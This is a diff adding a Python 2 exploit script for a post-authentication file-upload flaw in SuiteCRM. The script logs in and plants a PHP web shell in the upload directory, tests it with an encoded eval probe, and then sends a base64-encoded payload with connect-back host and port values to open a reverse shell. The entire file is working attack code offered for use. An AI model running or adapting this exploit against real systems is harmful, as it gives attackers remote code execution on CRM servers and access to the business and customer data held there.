|
| 1 | +#!/usr/bin/python2 |
| 2 | +# coding: utf-8 |
| 3 | +# Author: Darren Martyn, Xiphos Research Ltd. |
| 4 | +# Version: 20150512.1 |
| 5 | +# Licence: WTFPL - wtfpl.net |
| 6 | +import requests |
| 7 | +import sys |
| 8 | +__version__ = "20150512.1" |
| 9 | + |
| 10 | +def banner(): |
| 11 | + print """\x1b[1;32m |
| 12 | +███████╗██╗ ██╗██╗████████╗███████╗███████╗██╗ ██╗███████╗██╗ ██╗ |
| 13 | +██╔════╝██║ ██║██║╚══██╔══╝██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║ |
| 14 | +███████╗██║ ██║██║ ██║ █████╗ ███████╗███████║█████╗ ██║ ██║ |
| 15 | +╚════██║██║ ██║██║ ██║ ██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║ |
| 16 | +███████║╚██████╔╝██║ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗ |
| 17 | +╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ |
| 18 | +Exploit for SuiteCRM Post-Auth Shell Upload Version: %s\x1b[0m""" %(__version__) |
| 19 | + |
| 20 | + |
| 21 | +def upload_shell(base_url, username, password): |
| 22 | + url = base_url + "index.php" |
| 23 | + s = requests.Session() |
| 24 | + data = {'module': 'Users', |
| 25 | + 'action': 'Authenticate', |
| 26 | + 'return_module': 'Users', |
| 27 | + 'return_action': 'Login', |
| 28 | + 'cant_login': '', |
| 29 | + 'login_module': '', |
| 30 | + 'login_action': '', |
| 31 | + 'login_record': '', |
| 32 | + 'login_token': '', |
| 33 | + 'login_oauth_token': '', |
| 34 | + 'login_mobile': '', |
| 35 | + 'login_language': 'en_us', |
| 36 | + 'user_name': username, |
| 37 | + 'user_password': password, |
| 38 | + 'Login': 'Log In'} |
| 39 | + print "\x1b[1;32m{+} Logging into the CRM...\x1b[0m" |
| 40 | + try: |
| 41 | + r = s.post(url=url, data=data) |
| 42 | + except Exception, e: |
| 43 | + sys.exit("\x1b[1;31m{-} Something failed. Stacktrace coming...\n\x1b[0m %s" %(str(e))) |
| 44 | + if r.status_code == 200: |
| 45 | + pass |
| 46 | + else: |
| 47 | + sys.exit("\x1b[1;31m{-} Something went wrong...\x1b[0") |
| 48 | + files={"file_1":("suiteshell.phtml", "<?php @assert(filter_input(0,woot,516)); ?>")} |
| 49 | + data = {'entryPoint': 'UploadFileCheck', |
| 50 | + 'forQuotes': 'false'} |
| 51 | + print "\x1b[1;32m{+} Uploading our shell...\x1b[0m" |
| 52 | + try: |
| 53 | + r = s.post(url=url, data=data, files=files) |
| 54 | + except Exception, e: |
| 55 | + sys.exit("\x1b[1;31m{-} Something failed. Bollocks. Stacktrace coming...\n\x1b0m %s" %(str(e))) |
| 56 | + if r.status_code == 200: |
| 57 | + pass |
| 58 | + else: |
| 59 | + sys.exit("\x1b[1;31m{-} Something went wrong...\x1b[0m") |
| 60 | + shell_url = base_url + "upload/tmp_logo_company_upload/suiteshell.phtml" |
| 61 | + print "\x1b[1;32m{+} Probing for our shell...\x1b[0m" |
| 62 | + try: |
| 63 | + r = s.post(url=shell_url, data={"woot": "eval(base64_decode('ZWNobyBtZDUoJ3B3bmVkJyk7'))"}) |
| 64 | + except Exception, e: |
| 65 | + sys.exit("\x1b[1;31m{-} Could not connect to shell... printing backtrace...\n\x1b[0m %s" %(str(e))) |
| 66 | + if "5e93de3efa544e85dcd6311732d28f95" in r.text: |
| 67 | + print "\x1b[1;32m{+} Shell located and functioning at %s\x1b[0m" %(shell_url) |
| 68 | + return shell_url |
| 69 | + else: |
| 70 | + sys.exit("\x1b[1;31m{-} Could get response from the shell. Bailing...\x1b[0m") |
| 71 | + |
| 72 | +def php_encoder(php): |
| 73 | + f = open(php, "r").read() |
| 74 | + f = f.replace("<?php", "") |
| 75 | + f = f.replace("?>", "") |
| 76 | + encoded = f.encode('base64') |
| 77 | + encoded = encoded.replace("\n", "") |
| 78 | + encoded = encoded.strip() |
| 79 | + code = "eval(base64_decode('%s'));" %(encoded) |
| 80 | + return code |
| 81 | + |
| 82 | +def spawn_backconnect(shell_url, payload, cb_host, cb_port): |
| 83 | + cookies = {'host': cb_host, 'port': cb_port} |
| 84 | + data = {'woot': payload} |
| 85 | + headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0'} |
| 86 | + try: |
| 87 | + print "\x1b[1;32m{*} Sending our payload...\x1b[0m" |
| 88 | + r = requests.post(url=shell_url, data=data, headers=headers, verify=False, cookies=cookies) |
| 89 | + except Exception, e: |
| 90 | + sys.exit("\x1b[1;31m{-} Exception hit, printing stack trace...\n%s\x1b[0m" %(str(e))) |
| 91 | + if r.text: |
| 92 | + print r.text |
| 93 | + |
| 94 | +def main(args): |
| 95 | + banner() |
| 96 | + if len(args) != 7: |
| 97 | + sys.exit("usage: %s <base url> <username> <password> <payload> <connectback host> <connectback port>" %(args[0])) |
| 98 | + shell_url = upload_shell(base_url=args[1], username=args[2], password=args[3]) |
| 99 | + spawn_backconnect(shell_url, payload=php_encoder(args[4]), cb_host=args[5], cb_port=args[6]) |
| 100 | + |
| 101 | +if __name__ == "__main__": |
| 102 | + main(args=sys.argv) |
0 commit comments